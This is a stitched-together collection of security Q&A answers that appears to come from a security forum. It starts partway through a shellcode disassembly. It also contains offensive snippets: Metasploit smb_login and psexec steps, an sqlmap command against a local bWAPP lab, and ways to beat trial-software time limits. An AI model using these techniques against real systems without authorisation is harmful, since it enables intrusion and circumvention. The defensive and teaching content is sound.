000001C1  3805303204F0      cmp [dword 0xf0043230],al
000001C7  3405              xor al,0x5
000001C9  1031              adc [ecx],dh
000001CB  0550310580        add eax,0x80053150
000001D0  3003              xor [ebx],al
000001D2  60                pusha
000001D3  3003              xor [ebx],al
000001D5  1033              adc [ebx],dh
000001D7  05703704D0        add eax,0xd0043770
000001DC  300420            xor [eax],al
000001DF  3205803504F0      xor al,[dword 0xf0043580]
000001E5  3505203204        xor eax,0x4322005
000001EA  F03003            lock xor [ebx],al
000001ED  204C0540          and [ebp+eax+0x40],cl
000001F1  4C                dec esp
000001F2  05004D04B0        add eax,0xb0044d00
000001F7  37                aaa
000001F8  05504B04C0        add eax,0xc0044b50
000001FD  310590390540      xor [dword 0x40053990],eax
00000203  3105A0370510      xor [dword 0x100537a0],eax
00000209  300460            xor [eax],al
0000020C  4C                dec esp
0000020D  0570320520        add eax,0x20053270
00000212  4B                dec ebx
00000213  0550310500        add eax,0x53150
00000218  37                aaa
00000219  05804B0510        add eax,0x10054b80
0000021E  3304F0            xor eax,[eax+esi*8]
00000221  3405              xor al,0x5
00000223  3032              xor [edx],dh
00000225  05504C0520        add eax,0x20054c50
0000022A  300440            xor [eax+eax*2],al
0000022D  4A                dec edx
0000022E  04E0              add al,0xe0
00000230  3505103405        xor eax,0x5341005
00000235  7031              jo 0x268
00000237  04F0              add al,0xf0
00000239  300480            xor [eax+eax*4],al
0000023C  4D                dec ebp
0000023D  05104C04F0        add eax,0xf0044c10
00000242  330540310590      xor eax,[dword 0x90053140]
00000248  390560380560      cmp [dword 0x60053860],eax
0000024E  3004F0            xor [eax+esi*8],al
00000251  310550300430      xor [dword 0x30043050],eax
00000257  3504C04B05        xor eax,0x54bc004
0000025C  803105            xor byte [ecx],0x5
0000025F  90                nop
00000260  300520320510      xor [dword 0x10053220],al
00000266  4D                dec ebp
00000267  0530340550        add eax,0x50053430
0000026C  3904F0            cmp [eax+esi*8],eax
0000026F  320540390540      xor al,[dword 0x40053940]
00000275  4D                dec ebp
00000276  04C0              add al,0xc0
00000278  3504B03005        xor eax,0x530b004
0000027D  204D05            and [ebp+0x5],cl
00000280  0030              add [eax],dh
00000282  0450              add al,0x50
00000284  3304F0            xor eax,[eax+esi*8]
00000287  4A                dec edx
00000288  05A0320510        add eax,0x100532a0
0000028D  4D                dec ebp
0000028E  05304E04E0        add eax,0xe0044e30
00000293  4B                dec ebx
00000294  0530310510        add eax,0x10053130
00000299  3404              xor al,0x4
0000029B  C0                db 0xc0
0000029C  3404              xor al,0x4
0000029E  F03505103905      lock xor eax,0x5391005
000002A4  90                nop
000002A5  4D                dec ebp
000002A6  05003904B0        add eax,0xb0043900
000002AB  3904B0            cmp [eax+esi*4],eax
000002AE  3605304E04E0      ss add eax,0xe0044e30
000002B4  4C                dec esp
000002B5  05A0310590        add eax,0x900531a0
000002BA  3804E0            cmp [eax],al
000002BD  4D                dec ebp
000002BE  04C0              add al,0xc0
000002C0  4D                dec ebp
000002C1  04C0              add al,0xc0
000002C3  320510380510      xor al,[dword 0x10053810]
000002C9  3003              xor [ebx],al
000002CB  0032              add [edx],dh
000002CD  0550310300        add eax,0x33150
000002D2  3005A03904F0      xor [dword 0xf00439a0],al
000002D8  4B                dec ebx
000002D9  05203104D0        add eax,0xd0043120
000002DE  330590350540      xor eax,[dword 0x40053590]
000002E4  4A                dec edx
000002E5  04D0              add al,0xd0
000002E7  37                aaa
000002E8  04F0              add al,0xf0
000002EA  4C                dec esp
000002EB  0580380500        add eax,0x53880
000002F0  3305504C0590      xor eax,[dword 0x90054c50]
000002F6  37                aaa
000002F7  0590300590        add eax,0x90053090
000002FC  37                aaa
000002FD  0580340590        add eax,0x90053480
00000302  4D                dec ebp
00000303  05703504D0        add eax,0xd0043570
00000308  4A                dec edx
00000309  05504C0590        add eax,0x90054c50
0000030E  37                aaa
0000030F  05203104D0        add eax,0xd0043120
00000314  4B                dec ebx
00000315  05204B0510        add eax,0x10054b20
0000031A  3505703005        xor eax,0x5307005
0000031F  803004            xor byte [eax],0x4
00000322  E033              loopne 0x357
00000324  05503104B0        add eax,0xb0043150
00000329  4C                dec esp
0000032A  05003904F0        add eax,0xf0043900
0000032F  3105003104C0      xor [dword 0xc0043100],eax
00000335  330570390500      xor eax,[dword 0x53970]
0000033B  3505004F04        xor eax,0x44f0005
00000340  F0300460          lock xor [eax],al
00000344  3205304D0580      xor al,[dword 0x80054d30]
0000034A  4A                dec edx
0000034B  04E0              add al,0xe0
0000034D  4A                dec edx
0000034E  04D0              add al,0xd0
00000350  4A                dec edx
00000351  05303804B0        add eax,0xb0043830
00000356  4A                dec edx
00000357  04E0              add al,0xe0
00000359  4B                dec ebx
0000035A  05                db 0x05
0000035B  00                db 0x00
0000035C  41                inc ecx

I also checked the disassembly for -b 64, however, it seemed gibberish for me. Correct me if I'm wrong here. Perhaps you can find out something from here?

For reference, the calc.exe buffer overflow shell code can be found here:

  https://www.exploit-db.com/exploits/41738/

You can also search that website for partial matches of the shell code that you have.

Also here, you can check for shell codes alone.

  http://shell-storm.org/shellcode/


Is it possible to verify a PGP-signed and encrypted message without decrypting it?

If you happen to have random encrypted messages which were not encrypted with your public key (and therefore you cannot decrypt the message), then the answer is no.  Signatures must be contained within the encrypted data blob otherwise you have nothing credible to verify.  Here's why.

(First, let's make sure we're on the same page: you encrypt a message using a public key and sign with a private key.  You will never(!) have someone else's private keys because otherwise the entire protection mechanism falls apart.)

Encryption is protection from eavesdropping.  Signing is non-repudiation of sender meaning the sender cannot say they didn't send it.

To verify the sender of a signed and encrypted message (order matters here), you will need to first decrypt the message because the signature is part of the encrypted message.  Decrypting the message will not tell you anything about the sender since anyone can encrypt a message with your public key.

Once the message has been decrypted, you can extract the signature and verify it using the public keys you have for those possible senders.

However, what you cannot determine is whether the same person ACTUALLY signed and encrypted the message by virtue of the fact that one side of the process (encryption) uses entirely public information with no specific information about the sender.

If the sender's private key has fallen into wrong hands, then all bets are off.


Yes, absolutely, there are other ways to do code injection.  For instance, a malicious app can execute native code directly, and that doesn't require any class loader.

More generally, in the Android security model, the only security boundary is at the process level (not at the JVM level).  So, nothing in Android prevents code injection into a process that you already control.  As the Android docs state, untrusted code cannot be safely isolated within the Dalvik VM.  That's just a fundamental consequence of Android's security architecture.

(As additional examples, you may also be able to invoke Runtime.getRuntime().exec() to execute native code, disable the Java Security Manager, call setAccessible(., true) and then take over the process, exploit vulnerabilities in any of the Java libraries, or use any of a number of other methods.)

(Also, in Java, some security checks are done by the compiler and are not duplicated by the JVM.  Consequently, malicious bytecode can bypass these checks.  These checks include, e.g., access control for inner classes, exception safety, final fields, and others.  I don't know if the same holds for Dalvik as well, but there are many hairy details here that might allow malicious bytecode to attack class libraries.)


What are the implications of reversing hashes

Reversible hashes aren't compression

Even hashes which we can reverse cannot be used as a compression. Assuming that we could reverse sha256 wouldn't make current compression obsolete, because there are infinitely many large files, but finitely many (2^256) sha256 values, so infinitely many large files will have the same sha256 hash - this is known as the pigeonhole principle. Reversing the hash would get you one or all of the possible large files, but you can't ensure or realistically hope that this is the exact one you compressed.

For a trivial example, if you'd want to compress files of 33 bytes (264 bits) then there are 2^256 different sha256 hashes, and 2^264 possible different 33 byte files - on average every 2^8 such files will have the same sha256 hash. While it's implausible that you'll accidentally get a collision (1/2^256 chance), it's also unlikely that on a "reverse" you'll accidentally get the same file that you compressed (1/2^8 chance). In cryptography saying "collision proof" doesn't mean that there aren't collisions (of course there are, there must be) but rather that the collisions are hard/slow to find and manipulate.


Stuck in a tricky situation, not able to exploit misconfigured CORS

According to what you've said in the above comments, I am fairly certain token is being sent in an HTTP RESPONSE header. Either it will be its own CSRF header, or within a Set-Cookie header. This is common practice.

When you pull the webpage you are getting the source code and not finding the token, but you need to check all the HTTP headers on that request to get the token.

It is very unlikely that the token is being generated by client-side javascript. So it has got to be in the HTTP headers.

EDIT: Of course it is also possible that the token will not be sent at all if the request is from an untrusted origin. This would effectively mitigate your attack.


I just found out about BadUSB. Should I worry about it although I bought my USB from official stores?

While all of those concerns are technically possible, by far the biggest USB issue when purchasing from official stores is getting a bogus usb device that only stores a fraction of the claimed size or performs much slower than advertised.
A true BADusb is capable of acting before you can run analysis. If you plan on dealing with something like that you need a sand boxed system. What's more, a BADusb attack can come from usb items that may not look like anything to concern you, right down to and including a usb cable.
I've encountered bogus storage USB devices from commercial purchases occasionally, but the only true BADusb devices I've dealt with were in rather specialized environments.


Will TLS_FALLBACK_SCSV on a server that only supports TLSv1 block a connection from a client using TLSv1.2

The client will send TLS_FALLBACK_SCSV only if it does a TLS handshake with a downgraded version and the server will only reject a connection containing TLS_FALLBACK_SCSV if it can do a better version. Examples:

Client can do TLS 1.0 and TLS 1.2, i.e. TLS 1.2 is the best. Server supports only TLS 1.0. Client will try with TLS 1.2 first. Usually the server replies with TLS 1.0 because that's all it supports. But some server are broken and completely fail the handshake in which case browsers do a connection downgrade. In this case the browser does a TLS 1.0 handshake but sets TLS_FALLBACK_SCSV to indicate that it does a fallback. Since the server only does TLS 1.0 anyway it will not complain but accept the connection.
In the second example the same client is used but the server support TLS 1.2 too. A man in the middle is sitting between client and server and disrupts some connection in the hope for force a TLS downgrade. After the first TLS 1.2 connection from the client will be disrupted and fail the client will try again with TLS 1.0 but set TLS_FALLBACK_SCSV. This time the attacker will let the connection pass and the server will receive the TLS 1.0 handshake which includes TLS_FALLBACK_SCSV. Since the server can do better than TLS 1.0 it will reject the connection.


How can SHA256-hashes as input to MD5 be revealed?

You mean, that people use passwords like "abc123" and hash them to SHA-256 to get "6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090".

And then they think that the second is more secure than "abc123".
But is it?

Yes, the hashed version is in some cases more secure when we're talking about password-entropy. Because it's longer, has more random digits and characters,...

However, this is something we call security through obscurity.
This method is secure, as long as no one knows you're using this.
Because, it actually is just a case of hashing weak words to SHA-256 and see if they match.

Password crackers when doing a dictionary attack define rules.
This can be things like: "also try with '123' after every word in the dictionary", or "make the first letter of the words in the dictionary uppercase", but they can also be "SHA-256 hash every word in the dictionary and try that".

And that rule is probably what this password attacker used.
And yes, SHA-256 is relatively slow (which is a good thing), so the attacker would need more and better hardware. But people do have dedicated computer systems with e.g four top-level Nvidia Titan GPU's.
Which can still do a lot of MD5(SHA-256($pass)) tries in a given amount of time.
And not to mention that botnets are also still a thing, combining loads of computers to have more power.

tl;dr:
It's just a question of using good rules.
And maybe only SHA-256 the words which are short/weak, instead of all to save time.

Tip for using save passwords:
Take e.g five easy to remember words:
e.g: battery, lamp, living room, candle, firespeed.
(The battery of my lamp was empty so I took the candle in my living room with firespeed).
This way, your password is:
batterylamplivin_groomcandlefirespeed
This way you have +- 35 characters, we have putted in a random '_'
in the middle of a word to make it a lot harder for the attacker to guess.
And when the attacker is doing a dictionary attack with rules of combining words. He'd need to combine this five word in the right order, including a word like 'firespeed', and then a rule to place a _ in every place of the string.
With other words, this is a strong password, easy to remember and easy to type.
A password manager is still better, but the password above could be used as masterpassword for the manager.

Tips for saving passwords in a database:
Use strong algorithms like SHA-256, but even better: Bcrypt.
Read papers on how to salt and even pepper,
let your code be reviewed by several people before actually using,
don't try to make own algorithms.


Plausible deniability with VeraCrypt standard volumes: what information do they give away?

It's complicated. VeraCrypt volumes themselves appear to be random data - they're the output from an encryption routine which should be indistinguishable from random data, barring some flaw in the algorithm or implementation of the algorithm - and that applies for both volumes within files and for system encryption.

VeraCrypt accepts a password, then tries all supported key derivation functions, all supported encryption algorithms and all supported key lengths against the first 512 bytes of the volume. If one of these results in the first 4 bytes of decrypted data being the string "VERA", it is assumed that the methods used are correct, and the rest of the header is used to decrypt the rest of the volume. This means that it doesn't need to store information about the cipher used, or the size of key expected (See https://www.veracrypt.fr/en/Encryption%20Scheme.html for the full details).

However, if you have set up system encryption, the routine to perform this decryption is stored on the first track of the boot drive - this is unencrypted, else it couldn't be run prior to decryption. You don't actually need to have this installed - you could use a rescue disk to boot the system far enough to decrypt the volume, for instance - in which case only encrypted data is left on the drive.

In this case, the only evidence of VeraCrypt (or similar software) being used is the large blob of random data. The lack of a decryption method could be considered suspicious, especially in cases such as border checks, where it would be unusual to carry a laptop with a drive which had been overwritten with random data. On the other hand, having an encrypted drive, with the appropriate methods to decrypt for use is standard procedure for many business users (although this may normally be BitLocker rather than VeraCrypt).

For file based volumes, the presence of a file apparently containing only random data could be considered suspicious - most legitimate files have some sort of detectable header - even if VeraCrypt itself is not installed on the device. However, they don't have anything to indicate that they're VeraCrypt volumes - for example, I have a bunch of files which are simply dumps of random values from /dev/random on my work system, which I use for testing upload systems which claim to allow specific file types (by renaming them to the expected type, it tests whether the system is checking headers, or relying on file extensions, without risking accidentally using an accepted header type). There is nothing which could distinguish these from VeraCrypt volumes, other than that there is no (known) password which decrypts them to produce "VERA" at the start.

So:

For system encryption, there is a pre-boot decryption routine to allow booting without a rescue disk
For other types of volume, there isn't anything directly added by VeraCrypt, but the presence of VeraCrypt itself and a lack of obvious volumes could suggest something is hidden
For plausible deniability, the presence of VeraCrypt itself is not intended to be secret, but rather whether a specific bunch of random data within a VeraCrypt volume is another VeraCrypt volume or not
While direct evidence is hard to find, it may be possible to look at a lack of data and draw conclusions that something is hidden - see https://www.veracrypt.fr/en/Security%20Requirements%20for%20Hidden%20Volumes.html


Prevent BEAST attack without RC4 cipher suites

BEAST is a client-side attack, so all you can do on the server side is to avoid letting unaware clients put themselves in a BEAST-vulnerable position. However, modern clients (Web browsers) are not vulnerable to BEAST anyway:

Clients use record splitting (usually 1/n-1) as a countermeasure.
BEAST requires the hostile in-browser code (in Java or Javascript) to be able to send requests to the target site with arbitrary byte values; no method for doing that is currently known (at the time of the BEAST demo, the authors had found two flaws that allowed that, but they were both fixed since that time).

A client that is still vulnerable to BEAST is a client that has not been updated for several years, which means that it already has bigger problems.

A more general solution is to use TLS 1.1 or 1.2, which are not vulnerable to that specific attack. However, even when clients support such protocols, they also tend to indulge in unbridled reconnections that make them vulnerable to protocol downgrade attacks.

Arguably, tools and people who whine and grind their teeth about BEAST are in sore need of an update themselves. "BEAST prevention" has turned into a toxic dogma, parroted ad nauseam without any decent understanding of what it really means.


Can someone highlight the key difference between CRLF Injection, HTTP Response Splitting and HTTP Header Injection?

CRLF Injection (CWE-93) is the general vulnerability that applies to multiples line-based protocols (HTTP, SMTP, Log file).

HTTP Response Splitting is the ability to start earlier the body section of the HTTP response. HTML injection will be possible.

HTTP Header Injection does not target the body but only the headers section of the response.


Resources for reviewing multi-tiered webabbs in Spring, Hibernate or JAX-WS

I myself am not too familiar with the frameworks that you have detailed, but there are some great generic resources at your disposable relating to vulnerabilities per framework/product or vendor. The two I frequent are CVE Details and CWE Mitre. Both sites allow for search for vulnerabilities that relate to your frameworks. I prefer CVE details, as it provides a great list of references, some of which may include conferences or the pdfs you are searching for.


Is it ok to allow a web application to write its own executable files?

Some applications work around this by using ftp. They login to localhost with a given username. That’s more portable on some Webhosters that sudo.

It is a good practice if the web server cannot modify code, because this is a very common way for permanent infection. On the other hand for convenience it’s often done. If your scripts are secure (and you don’t use thirdparty modules like mailers, guestbooks, Blog or,forum software with a known weakness) then its acceptable.

Having said that, any other method like ftp or sudo has the same problem if the credentials are stored reachable for the web server.


Invalidate API tokens when LDAP user is invalid

I've got an idea how to solve this situation not ideally, but it could work.
It's kind of hacky.
If your LDAP server is OpenLDAP (I'm not so familiar with other servers like 389, opendj or active directory), You can enable accesslog overlay, and search for changes in entries.

So with query in base cn=acceslog like this:

"(&(reqType=modify)(reqStart>=YYYYMMDDhhmmssZ)(|(reqMod=userPassword*)(reqMod=isDisabledAttribute:=disabledFlag))))"

where

reqType is filtering operation which would be modify
reqStart is last time you've checked (f.e.: every minute)
reqMod with userPassword filtering password changes
isDisabledAttribute - attribute with deciedes whether the user entry is disabled

requiring reqDN will return users DN - then you can get any attribute from his file and invalidate his token in the token storage - I belive you're able to pair it to some attribute form user entry.


Where can the Group Transient Key be found by a client after the WPA2 4-Way Handshake?

So, what about a little research?
Here's your primary ressource: 802.11i-2004. If you can't find the Group Transient Key in that document, it's because that is commonly called Group Temporal Key.
The answer to your slightly imprecise question "Where is the GTK located?" is basically, inside the Supplicants, after getting it from the Authenticator.
These roles are described in the standards document linked above.
The hierarchy of who generates what key from which secret is probably most concisely defined in 8.5.1.3.
EDIT
With your edit:

I am connecting to the AP using Kali Linux VM with a USB wireless adapter but have no idea how the key could be accessed.

Ask your WPA supplicant.
Depending on how you set up things this is, most likely, kept by wpa_supplicant. You can run wpa_supplicant with the -dd -K to enable a lot of debug output, and to include Keys in that.
Note that "how do I use wpa_supplicant" is not really on-topic here.


Can TLS defeat the manipulation of TCP sequence numbers?

An attacker who can fake the TCP stream (reorder, erase, duplicate packets, or flip arbitrary bits of payload and fix up the crc) will cause received TLS record messages (chunks of up to 16KB of cleartext, encrypted and MAC'd pr MAC'd and encrypted or AEAD'd) which fail to verify the MAC. The receiving side will discard the last TLS record and close the connection when the MAC fails to verify. This is the most basic protection against active attacker in a secure communication protocol.
Tampering with the cleartext handshake messages is protected by the Finished message which has a MAC of the transcript of the entire handshake - if the handshake was tampered with, the Finished message will be wrong and the other side will close the connection.
Attacks against TLS are much more sophisticated than that. You should read up on them before trying to invent your own.


How does time-limited trial software work?

There is no cryptography in there. It is all a matter of state. The application can access the system time, also the hardware clock (that's the clock with a battery which keeps time when the computer is off). The application can also look at the modification dates of various files to try to detect foul play with the system clock; and it can measure elapsed time while it runs and accumulate it (in one of its files).

IF you install the software in a virtual machine, then snapshot the whole VM, and, later on, restore that snapshot completely, taking care to set back the (virtual) hardware clock back to the date of the snapshot and to deactivate the network, then you will be able to fool the time limit. The economic efficiency of this kind of time limit relies on the idea that VM snapshots and clock games are too cumbersome for most customers to use them on a regular basis.


You've stumbled into a very hard problem; when storing cryptographic keys in software you really kinda have three options:

Store the password encrypted on disk and have the user enter a password to decrypt it at runtime. You then need to worry about secure memory management also, which is a real rabbit hole.
Avoid prompting the user for a password by doing some weird obfuscation trick where you derive a decryption key from hardware serial numbers and stuff.
Use the OS' key management APIs. If possible, also use the OS APIs to do all the crypto operations for you so that your app never actually has the private key in memory. Then you can trust that the OS is handling the key securely and you don't have to think about it.

Fortunately for you, Windows and .NET has very good key management APIs called CAPI: Crypto API.

I would start by Googling "windows storing cryptographic keys .net" and doing some reading. This article in particular seems like a good starting point:

msdn.microsoft.com : Key Storage and Retrieval

If you are writing a webservice that will run in a datacentre that you control, then you could consider using a Hardware Security Module. Also, hosting providers like Amazon and Azure provide APIs for this rather than needing your own physical HSM. That said, these devices start at $5,000 USD and they are overkill for most applications.


List of good security blogs one should read

If you want to learn more about the security domain, blogs are not where I'd start.  I'd start with classic books.  Ross Anderson's Security Engineering is an absolute classic, a must-read for anyone in the business.  Others may have other suggestions.

As for blogs, here are a few suggestions:

Schneier on Security
Krebs on Security
Freedom to Tinker
Light Blue Touchpaper
Jeremiah Grossman's blog
Dan Kaminsky's blog
Educated Guesswork
Ben Adida's blog
Financial Cryptography
RISKS Digest
Perry Metzger's cryptography mailing list


Potential risks of a single codebase for multiple CMSes

In the abstract, serving multiple domains from a single codebase is far better than serving multiple domains from multiple codebases. Less code much better than more code.

That said, there are reasons NOT to do this- most notably if the different domains have different risk profiles (like one is a CMS and another is ecommerce).

And when doing this, it has to be done with care. One common mistake is to implicitly trust the incoming Host header and reuse it in templates and so forth, which opens all of the sites hosted in this way to compromise.


Is there a cryptosystem that allows a set of auditors to confirm that they have valid Shamir or Group signatures?

For Shamir's secret sharing, the only possible method for validating a share is rebuilding the shared secret with enough shares, and see if the result makes sense. There cannot be any other method that does not involve sufficiently many shares to reach the threshold, because that would contradict information theoretic security of the scheme (basically, if you have a way to validate a share, then you can do an exhaustive search on possible shares).

For other algorithms, this is a possible feature that any given algorithm may or may not provide. There is no generic method. One can surmise that non-interactive zero-knowledge proofs will probably be involved at some point, so the details will not only be specific to the scheme, but also substantially hairy.


How is the available entropy in /dev/random calculated (or estimated)?

There is a short paper on the ePrint cryptography archive that could answer your question.
Basically the author interprets the code of the entropy estimator as Kolmogorov-type entropy estimation where an event is "random" if it didn't happen too close from the previous event, if the time between two consecutive events is not too predictable and so on
Here is the link that will answer the question better than I did
http://eprint.iacr.org/2012/487.pdf


You can also use the CSRF token functionality available in most of the web development framework. CSRF is stored in web page's header metadata and must be sent across for each ajax request. CSRF is assigned when a full page is rendered by the server.

If CSRF token doesn't exist in ajax request, or if CSRF is wrong then just don't process the request. This way you make sure the user was logged in the actual interface.
Perform session validation of each ajax request.

You can use these within an API call too.

Still it will help to protect from some web intercept proxies or custom made html web client scripts.


Determine All Possible Fields in HTML Form

This is not secure! It's security through obscurity, and not nearly enough to protect anything of value. There are many ways an attacker could guess the field names:

Guessing. If you write good software your names are descriptive and easy to guess. If I want to delete  something, why not try setting delete to 1 and see what happends?
Brute force.
Having a look at the source code if it's available.
If a user has had access to admin level, but get it revoked, she may have saved the names of the fields.
Check your collegues browser cache.

Before taking any action, the server must check that the current user has sufficient priveligies to take that action.


Migrating password db off MD5 by chaining MD5 and Bcrypt?

What you would essentially end up with is MD5-ing the users passwords before feeding them into BCrypt.

While MD5 is a fast and badly broken algorithm, it does not remove any entropy from the passwords (unless they have more than 128 bit of entropy, but the password of the average user will have far less). So the entropy you feed into BCrypt is still the same.

When an attacker steals your database and wants to brute-force it, they still need to run BCrypt, just instead of running it on the one million most common passwords, they would run it on the MD5 hashes of the one million most common passwords. That won't take much longer, but it also won't take any shorter.

So as far as I see it there is really nothing wrong with your plan.


Using stored creds in a metasploit module

If i remember correctly, psexec is part of the smb exploit kit. I think what you are looking for is the complimentary scanner kit.

use auxiliary/scanner/smb/smb_login

then go through and set the common options the same as you would in your smb exploit except there is one option here

db_all_creds

set this to true, and run the scan. you will now know which users to use in the psexec exploit.

is that what you are looking for? The reason most exploits don't plug like that is that sometimes you will break whatever it is you are exploiting, running it against multiple hashes might be worthless, and misinformative.

so first you scan what users can connect. Then run the corresponding exploit with those accounts.


Would be helpful if you give further information:

Bwapp Version
What tutorial
What sqlmap version

So sqlmap gives you a hint:
You have not declared cookie(s), while server wants to set its own

This is the note that you haven't delivered any cookies using sqlmap.
This means you are not logged in and you will be redirected to the login page
Redirect 302 to
http://localhost:80/bwapp/login.php

So you can give sqlmap your login session using
sqlmap -hh | grep cookie
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    ...
    --load-cookies=L..  File containing cookies in Netscape/wget format

So a workaround (I have no bwapp in front of me) could be:

Log into bwapp in the Browser
Go into Developer Tools (Ctrl-Shift-I then: Chromium -> Application -> Cookies or Firefox (web-)storage)
Remember the cookies from here
Give it to sqlmap with --cookie "name1=value1;name2=value2" e.g.
sqlmap -u "http://localhost/bwapp/sqli_1.php?title=1*" --cookie="security=low; PHPSESSID=oikbs8qcic2omf5gnd09kihsm7"


Can an ISP limit what security software (firewall) that will work?

No but they can blame any problems you have on running an unsupported firewall and refuse to offer any support until your unsupported firewall is disabled.


Is a "security measure" that doesn't provide a security benefit actually harmful?

Any feature that "doesn't provide any additional [...] benefit" should be removed, security-related or otherwise.  Besides increasing complexity and friction, it can introduce additional attack surface and end up making you less secure.


How to segregate computers from each other?

You want to configure separate VLANs on your router.

According to https://www.cisco.com/c/dam/en/us/td/docs/routers/csbr/app_notes/RV0xx_an_vlan_78-21017.pdf, in your routers config this is under "Port
Management > Port Setup". Give the first five a different setting than the other five.


UDP alone does not provide any kind of security, that is neither encryption nor authentication of the peer  and not even protection against spoofing of the peers IP address.

Insofar it is not suited for any kind of important controls (which might even be switching lights) unless you have the surrounding network protected by some other means. But in this case there would not be any security advantage of running a minimal stack only, only the memory footprint of the device could be smaller.

So for any kind of real controls you need at least protection against spoofing, i.e. authentication of the peer. This is not as simple as you think because this authentication must also be safe against an attacker sniffing the communication and replaying it later. Once you add all the protections to your device it gets more complex so the original simplicity of your approach is no longer there.

  it would be VERY hard for a remote hacker to intrude.

If you only think of an remote attacker accessing a device inside your own network, than it does not matter if you have TCP or UDP as long as the device is not reachable from outside. But if the device is reachable from outside or if the attacker managed to get into your own network (like when you do web surfing and get a drive-by-download exploit) then it would not be a problem for the attacker to do harm against an unsecured device, no matter if it uses TCP or only UDP.


Can you give third-parties the power to supervise what code your server is running?

The question I believe is more  general than securing passwords.

  Is there any way of letting the user convince himself that the server
  is actually doing what it is supposed to do, e.g. by checking that it
  is really executing an unmodified compilation of the source code that
  is publicly available?

There is a consortium of companies (Microsoft and more...) called the Trusted Computing Group that have an objective to use hardware and software to do this.

However - the initiative is controversial as it would protect the user against himself also. Richard Stallman came out against the initiative strongly and calls it treacherous computing - one of his concerns was that TC was going to be used by Hollywood to enforce DRM on only one machine.

In practice - this reached a height in the so-called AACS encryption controversy in 2007-9 + with cracking of Blu Ray. If TC had been enforced then a large percentage of the worlds TVs and DVD players would have been bricked.

Since then, free market and consumers seem to have prevailed over the "treacherous designs" of media consortia simply because there is no economic sense in protecting consumers against themselves and even less economic sense in bricking your TV set just because you streamed unprotected content.

Back to your question - it is technically feasible but not a commodity feature in modern operating systems by far. If you wanted to roll your own this comes up with some googling http://www.trustedcomputinggroup.org/developers/software_stack

There is an important related issue of ensuring integrity of deployed code; this is handled superbly in git using SHA1 hashes.    When you use Git to deploy your code, you have guaranteed integrity.


Why do the roles of public/private keys reverse when talking about public key encryption and digital signatures?

I cannot reconcile in my head how or why the roles of the keys suddenly reverses.

(I'm primarily focusing on RSA signatures.)

Anyone can produce an encrypted message (by using your public key) and only you can decrypt it (by using your private key). The roles of public and private key reverse because a signature has to be something that only you can produce (by encrypting with your private key) and everyone else can confirm (by decrypting with your public key).

The basic assumption is that if you publish a ciphertext that can be decrypted to a meaningful message with your public key, you have proven that you own the private key, because otherwise you wouldn't be able to produce such a ciphertext. (Note that this plain RSA signature algorithm is insecure for numerous reasons. Most notably, in practice you should never sign a full message text, but a hash of the message.)

You can simply swap the roles of public and private key because the mathematical design of RSA allows you to encrypt a message with either key and decrypt it with the other one - resulting in the same original plaintext both ways. That's because the encryption exponent e is the multiplicative inverse of the decryption exponent d modulo φ(N) (where N is the RSA modulus and φ is Euler's totient function). That is, 1 ≡ ed ≡ de (mod φ(N)).

Also see: How does RSA signature verification work?


Privacy of client's virtual machine in cloud computing

The rules are:

you cannot protect a machine from its administrator
you cannot protect a machine from someone that has physical access to it

Depending of the kind of cloud service (PaaS or IaaS), the cloud admins may be administrators of the client VM. If they are, no more questions: they can read everything from the client machine. But even it they are not, they can always take a snapshot of the running machine and put their hands on it. As on a cloud, the VM is supposed to be able to restart unattendedly, any secret must be present in invertible form in the machine itself, so if the attacker is the hosting service, you can only use obfuscation technics, but no strong encryption.

TL/DR: The answers for question 1 are no data is not private and yes the cloud can read it. For question 2 the answer is still no you cannot securely hide anything on a cloud machine.

Not necessarily relevant here, but added for completeness:

Above assumes that the data has to be used in the VM. But there is a use case where data in the cloud can be seen as securely encrypted: when the VM contains encrypted data and not the key. That means that the data has to be encrypted on a remote system and is sent in encrypted form. It can later be retrieved (still encrypted) from the same or another system knowing a decryption key. Examples are webapps using client side encryption, or even more simply, raw storage of an encrypted file or container.


If my website does not take any user input, is there any danger in showing my code and folder structure?

You have made a small mistake. Your web server does take user input. In the URL bar. If you have not configured PHP securely then this is a serious security issue.

Risks include having your code compromised or website defaced.


Mitigate timing attack threat against password recovery page

Let's ask the real question here :

Is the list of usernames associated with your application secret?

Kind of but mostly NO. Usually, each username is unique in an application so it's very hard if not impossible to keep it a secret. For example, a way that will very often work (if not always) to find username associated with your application is to simply create a new account. When you enter a username, the creation process will tell you if it's already taken or not. Hence, you can slowly build a list of valid username.

Overall, it doesn't make much sense to try to keep the username secret and is probably impossible, so just give up on that part.

Interesting read about how Your Username is Not a Secret.

What should try to protect?

You need to protect the secrets associated with the username ; password and any other form of authentication. It's here that it makes sense to bother about timing attack. For example, your password verification code need to take the same time if the first 2 characters match than if no character match at all.

Additionnal note

Protecting your multi-factor authentication is another interesting topic. It's not directly a timing attack but it's the same principle. For example, if you have a password and a phone code required to login into an app. If the application, only ask you about the phone code when the password is correct, it makes it much easier for the attacker to find the password than if the application was asking the password AND phone code every time. But there is some issue about the privacy of the phone number if you ask it every time...


Need help understanding Windows Firewall

Well, I don't know how Windows PC firewall exactly works. But I can help you with inbound and outbound, since I know how firewalls work.

Basically it refers to the traffic:
Inbound rules are rules that define what traffic is allowed (or not) to pass the firewall from the internet (or in your case your network) to your PC. Outbound rules are exactly the same, but the other way around. From your PC to the internet.

Btw: maybe you don't get much answers because you have a lot of questions in just one post. I'd like to encourage you to split it up in several posts. ;-)

I hope I could help you in somehow.


Torrent clients offer encryption of traffic using RC4, and people consider this, like, very safe to hide traffic information from ISP.

People are wrong to do so, but not because RC4 is even remotely the weak point. Simply knowing which IPs you're connecting to allows precise determination of the torrent you are downloading by an opponent who simply scrapes trackers or DHT to determine which IPs are in which swarms. This is leaving aside the even bigger problem of your torrent client actively -publishing- your IP in these lists to allow other peers to discover it.


What can a hacker do with an IP address?

It depends. Think of your IP address as the same kinda thing as a real address. If a criminal knows the address of a bank, what can they do? It completely depends on what security is in place.

If you've got a firewall running (e.g. Windows Firewall) or are behind a NAT router, you're probably safe. Both of these will prevent arbitrary incoming traffic from hitting your computer. This stops most remote exploits.

My suggestions:

Enable Windows firewall, or whatever firewall is available on your OS of choice.
Keep up to date with patches for your OS. These are critical!
Keep up to date with patches for your browser and any plugins (e.g. Flash)
Keep up to date with patches for your applications (e.g. Office, Adobe PDF, etc.)
If you're running any internet-facing services (e.g. httpd) on your machine, keep those up to date and configure their security appropriately.
